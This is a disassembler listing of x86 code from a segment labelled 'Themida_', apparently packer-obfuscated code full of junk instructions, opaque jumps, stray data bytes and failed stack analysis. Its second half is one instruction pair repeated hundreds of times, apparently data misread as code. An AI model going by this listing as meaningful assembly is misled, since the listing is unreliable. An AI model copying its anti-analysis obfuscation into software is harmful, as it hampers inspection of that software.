sub_612D8C loc_612DD2: ; CODE XREF: sub_612D9A:loc_612DB9j popa popa stc cld push edi jmp loc_612DEA ; --------------------------------------------------------------------------- dd 0CC1FF6ECh, 1CA60A48h, 43F0B2C5h ; --------------------------------------------------------------------------- jo short loc_612DA2 loc_612DEA: ; CODE XREF: sub_612D9A+3Dj pop edx movsx edx, cx and cx, 0A19h jmp loc_612E0C ; --------------------------------------------------------------------------- test eax, 0F820EAB8h cmp byte ptr [eax+2], 2Ah sbb al, 29h mov esi, 131F23A8h retn 0DDB8h ; --------------------------------------------------------------------------- aas loc_612E0C: ; CODE XREF: sub_612D9A+59j mov ecx, 12DAE0C1h push esi jns loc_612E1A pusha popa loc_612E1A: ; CODE XREF: sub_612D9A+78j pop ecx xor edi, 2AAA5DCCh sbb dx, 1999h movzx ebx, ax js $+6 jbe loc_612E50 call sub_612E4A dec esi or eax, 45ABCBF5h movsd jnz short near ptr loc_612E62+3 cmp bl, cl sub al, 96h add al, 3 iret sub_612D9A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_612E4A proc near ; CODE XREF: sub_612D9A+9Bp mov edx, 7EA6C82Eh pop ebx loc_612E50: ; CODE XREF: sub_612D9A+95j call near ptr loc_612E56+4 inc edx loc_612E56: ; CODE XREF: sub_612E4A:loc_612E50p test eax, 81EAC9E5h sub_612E4A endp ; sp-analysis failed lock test cl, dh wait xor [eax+66h], bl loc_612E62: ; CODE XREF: sub_612D9A+A7j mov esi, 0F8F96D50h push eax mov dx, si pop edi mov ebx, edi cmc push eax jmp loc_612E7A ; --------------------------------------------------------------------------- db 0E2h, 5Bh, 0B3h db 98h, 38h ; --------------------------------------------------------------------------- loc_612E7A: ; CODE XREF: Themida_:00612E70j pop ebx mov edx, eax movzx ecx, dx movsx ecx, dx mov edi, 2ECFBFD7h mov bx, dx jo loc_612E93 mov edi, eax loc_612E93: ; CODE XREF: Themida_:00612E8Bj mov si, 4433h pusha mov bh, 45h call sub_612EA4 xchg eax, edi sub [eax+31h], ah inc ebp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_612EA4 proc near ; CODE XREF: Themida_:00612E9Ap jmp sub_612EB3 sub_612EA4 endp ; --------------------------------------------------------------------------- db 32h, 0D2h, 1Bh dd 0FB914BFAh db 9Ah, 0, 1Ch ; =============== S U B R O U T I N E ======================================= sub_612EB3 proc near ; CODE XREF: sub_612EA4j pop ebx popa pusha jl loc_612EBE push esi pop edi loc_612EBE: ; CODE XREF: sub_612EB3+3j ja loc_612EC6 pusha popa loc_612EC6: ; CODE XREF: sub_612EB3:loc_612EBEj popa adc eax, 47FCB01h mov si, dx jnp loc_612EDC sbb eax, 4A2070F4h loc_612EDC: ; CODE XREF: sub_612EB3+1Dj mov dl, 56h push eax mov si, di pop esi mov dh, 1Ch or cx, 9412h movzx esi, bx pusha clc popa mov ecx, esi ja loc_612EFD mov ecx, 442B4AA7h loc_612EFD: ; CODE XREF: sub_612EB3+3Fj sbb dl, 0E3h xor dh, 26h mov edi, 6224B78Fh jnp loc_612F11 sub dh, 9Ch loc_612F11: ; CODE XREF: sub_612EB3+55j jmp loc_612F2A ; --------------------------------------------------------------------------- dw 0E60h dd 7F4DF9BDh, 9CE95066h, 357670C1h, 10699ECCh ; --------------------------------------------------------------------------- mov ebx, edi loc_612F2A: ; CODE XREF: sub_612EB3:loc_612F11j jmp loc_612F3F ; --------------------------------------------------------------------------- db 0B2h dd 0D11C7296h, 0C2B28F4Fh, 0C9EAD3E1h db 81h, 0F3h, 37h ; --------------------------------------------------------------------------- loc_612F3F: ; CODE XREF: sub_612EB3:loc_612F2Aj cmc mov esi, 2E400714h mov eax, 161B3394h sub cl, 3Fh push edi jmp loc_612F65 ; --------------------------------------------------------------------------- db 2Ah dd 0D6B4AFEDh, 8B855624h, 0EF3886B2h, 0D1EEF56Eh db 0A9h ; --------------------------------------------------------------------------- loc_612F65: ; CODE XREF: sub_612EB3+9Bj pop ebx mov eax, 4D74A825h adc dx, 5B57h call near ptr locret_612F7C+1 mov ds:0AE2FDED5h, al dec esp pop ds locret_612F7C: ; CODE XREF: sub_612EB3+BDp retn 0BF0Fh sub_612EB3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop edi jmp loc_612F99 ; --------------------------------------------------------------------------- retf 0D552h ; --------------------------------------------------------------------------- db 4Eh, 0B7h, 0CAh dd 0D5639771h, 8D980E95h, 0B796B140h db 0A2h ; --------------------------------------------------------------------------- loc_612F99: ; CODE XREF: Themida_:00612F81j jl loc_612FA1 mov al, 0A6h loc_612FA1: ; CODE XREF: Themida_:loc_612F99j mov esi, ebx mov esi, 22D9CA57h cld mov di, 29Eh and ah, 0A7h jmp loc_612FBA ; --------------------------------------------------------------------------- db 14h, 0D3h, 0AFh db 0FAh, 77h ; --------------------------------------------------------------------------- loc_612FBA: ; CODE XREF: Themida_:00612FB0j cld sbb esi, 5D06C766h cmc sub si, 0DD4Dh mov dl, 7Dh js loc_612FD0 clc loc_612FD0: ; CODE XREF: Themida_:00612FC9j mov si, di and bx, 9919h jmp loc_612FE3 ; --------------------------------------------------------------------------- db 2Eh, 1Fh, 0B4h ; --------------------------------------------------------------------------- inc esi xor eax, edi loc_612FE3: ; CODE XREF: Themida_:00612FD8j ; Themida_:00612FFCj jmp loc_612FEF ; --------------------------------------------------------------------------- pop bp cld nop aaa lahf push esp loc_612FEF: ; CODE XREF: Themida_:loc_612FE3j mov dl, ah movsx edx, di jmp loc_612FFE ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- add al, 26h jo short loc_612FE3 loc_612FFE: ; CODE XREF: Themida_:00612FF4j jb loc_613014 call near ptr loc_613009+5 loc_613009: ; CODE XREF: Themida_:00613004p fsub dword ptr [edi-444DE4F6h] xchg eax, ecx pop ebx cmc push cs pop ebx loc_613014: ; CODE XREF: Themida_:loc_612FFEj sub di, 2E45h mov dh, ah jmp loc_61302E ; --------------------------------------------------------------------------- dd 2318468Bh, 7F63214Fh, 7417D3BCh ; --------------------------------------------------------------------------- cmpsb push esi loc_61302E: ; CODE XREF: Themida_:0061301Bj movzx ebx, di pusha jmp loc_61304B ; --------------------------------------------------------------------------- and eax, 7AFB655h mov ecx, 0EDF738BEh cmp ah, bh and eax, 2756662Dh sti inc eax pop edi loc_61304B: ; CODE XREF: Themida_:00613032j movzx edx, cx popa call near ptr loc_613054+8 loc_613054: ; CODE XREF: Themida_:0061304Fp mov dword ptr [eax-6EB25CD8h], 565961E5h push edi call loc_613077 add al, 0ABh dec esp push 1Dh aas xchg eax, ecx pop es mov ebx, 0FD267BDBh cmp dl, [edi+38C3B962h] loc_613077: ; CODE XREF: Themida_:0061305Fp pop edx pop edi pop eax jmp loc_61308F ; --------------------------------------------------------------------------- db 4 dd 0AA88E406h, 0E47D0A39h, 0A8B22DB9h ; --------------------------------------------------------------------------- pop es fdiv st, st(4) loc_61308F: ; CODE XREF: Themida_:0061307Aj mov esi, edx mov bx, ax jmp loc_6130AB ; --------------------------------------------------------------------------- db 3Dh, 34h, 1Dh dd 604D4099h, 0ECD80FECh, 607D6EA7h db 3Ch, 0F3h, 80h ; --------------------------------------------------------------------------- loc_6130AB: ; CODE XREF: Themida_:00613094j movsx ebx, bx jns loc_6130B6 mov ecx, esi loc_6130B6: ; CODE XREF: Themida_:006130AEj mov eax, edi sbb eax, 5A174Eh mov ch, 51h push edi mov bl, ah pop edi sbb dx, 0A5F6h jmp loc_6130D3 ; --------------------------------------------------------------------------- dw 0AFB3h db 0DAh, 0A3h, 47h ; --------------------------------------------------------------------------- loc_6130D3: ; CODE XREF: Themida_:006130C9j call sub_6130DE mov bl, 2Eh ; --------------------------------------------------------------------------- dw 0D4D9h db 0DFh, 80h ; =============== S U B R O U T I N E ======================================= sub_6130DE proc near ; CODE XREF: Themida_:loc_6130D3p pusha mov eax, 2E9FA540h adc ax, 88Eh popa pop ebx sbb cx, 0DC23h or dx, 9557h adc edi, 56CF01CCh call sub_613110 jnb short near ptr loc_613174+1 mov ebx, 15966F67h xor bl, dl or eax, [ebx] test cl, al db 65h xor eax, edx sub_6130DE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_613110 proc near ; CODE XREF: sub_6130DE+1Dp pusha js $+6 mov bl, 57h popa pop edx mov edx, 179C264Eh jge loc_61312A mov si, 367Dh loc_61312A: ; CODE XREF: sub_613110+10j add dl, 3Fh movsx edi, bx mov bh, 71h mov edi, 313EAF43h push ecx call sub_613147 insd iret sub_613110 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 79h dd 0D2EF4C9Eh db 36h, 3Fh, 0F0h ; =============== S U B R O U T I N E ======================================= sub_613147 proc near ; CODE XREF: sub_613110+28p mov dx, 8242h pop edi pop ebx sbb bx, 0F81Bh pusha mov bh, al jnz loc_61315C stc loc_61315C: ; CODE XREF: sub_613147+Ej popa jmp loc_613174 ; --------------------------------------------------------------------------- dw 0E67Fh dd 0FDB91486h, 92A510A3h, 311641DDh, 948D24A3h ; --------------------------------------------------------------------------- loc_613174: ; CODE XREF: sub_613147+16j ; sub_6130DE+22j mov esi, 184C5108h call sub_613188 push cs push 78C43AF8h in al, 0CAh ; DMA controller, 8237A-5. ; single mask bit register ; 0-1: select channel (00=0; 01=1; 10=2; 11=3) ; 2: 1=set mask for channel; 0=clear mask (enable) loopne loc_6131DA sub_613147 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_613188 proc near ; CODE XREF: sub_613147+32p jmp sub_613196 sub_613188 endp ; --------------------------------------------------------------------------- db 0DBh, 0F2h, 5Eh dd 6D0CFD98h db 0C0h, 0A3h ; =============== S U B R O U T I N E ======================================= sub_613196 proc near ; CODE XREF: sub_613188j pop ebx or ecx, 7E69D5C0h movzx eax, ax jl loc_6131A7 cmc loc_6131A7: ; CODE XREF: sub_613196+Aj pusha push ebx jmp loc_6131C2 ; --------------------------------------------------------------------------- db 57h ; --------------------------------------------------------------------------- loc_6131AF: ; CODE XREF: sub_613196+3Fj push 0DA8D81Bh pop ds assume ds:nothing pop ebp cmp ecx, [eax+41B2DCCBh] sbb eax, 526A9B44h ; --------------------------------------------------------------------------- db 0B5h ; --------------------------------------------------------------------------- loc_6131C2: ; CODE XREF: sub_613196+13j pop esi cld popa movsx ecx, ax call loc_6131DB test edx, esp cmp esp, [ecx-30670F1Fh] jp short loc_6131AF icebp out 22h, eax loc_6131DA: ; CODE XREF: sub_613147+3Fj inc edx sub_613196 endp ; sp-analysis failed loc_6131DB: ; CODE XREF: sub_613196+32p movzx edx, cx pop edi mov cx, 466Bh adc ebx, 40889C7Bh jns loc_613207 jmp loc_613207 ; --------------------------------------------------------------------------- dd 217E9903h, 0F949857Ch, 5C836471h, 0DDDA6918h db 19h, 0D6h, 0F7h ; --------------------------------------------------------------------------- loc_613207: ; CODE XREF: Themida_:006131E9j ; Themida_:006131EFj push ebx jmp loc_61321A ; --------------------------------------------------------------------------- db 0Eh, 75h, 0BDh dd 82561B6Eh, 0BC1CEF36h ; --------------------------------------------------------------------------- loc_613218: ; CODE XREF: Themida_:0061323Dj fdivrp st, st loc_61321A: ; CODE XREF: Themida_:00613208j pop eax adc bx, 878Ah adc dh, 7Dh push esi jle loc_61322D movsx ecx, dx loc_61322D: ; CODE XREF: Themida_:00613224j pop eax mov ah, 0E4h jbe loc_613238 mov dl, 0E6h loc_613238: ; CODE XREF: Themida_:00613230j cmc mov cx, 343Bh jg short loc_613218 mov edx, 0BAD97F1Ch sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh fnstcw word ptr [edx-452680E4h] sbb al, 7Fh 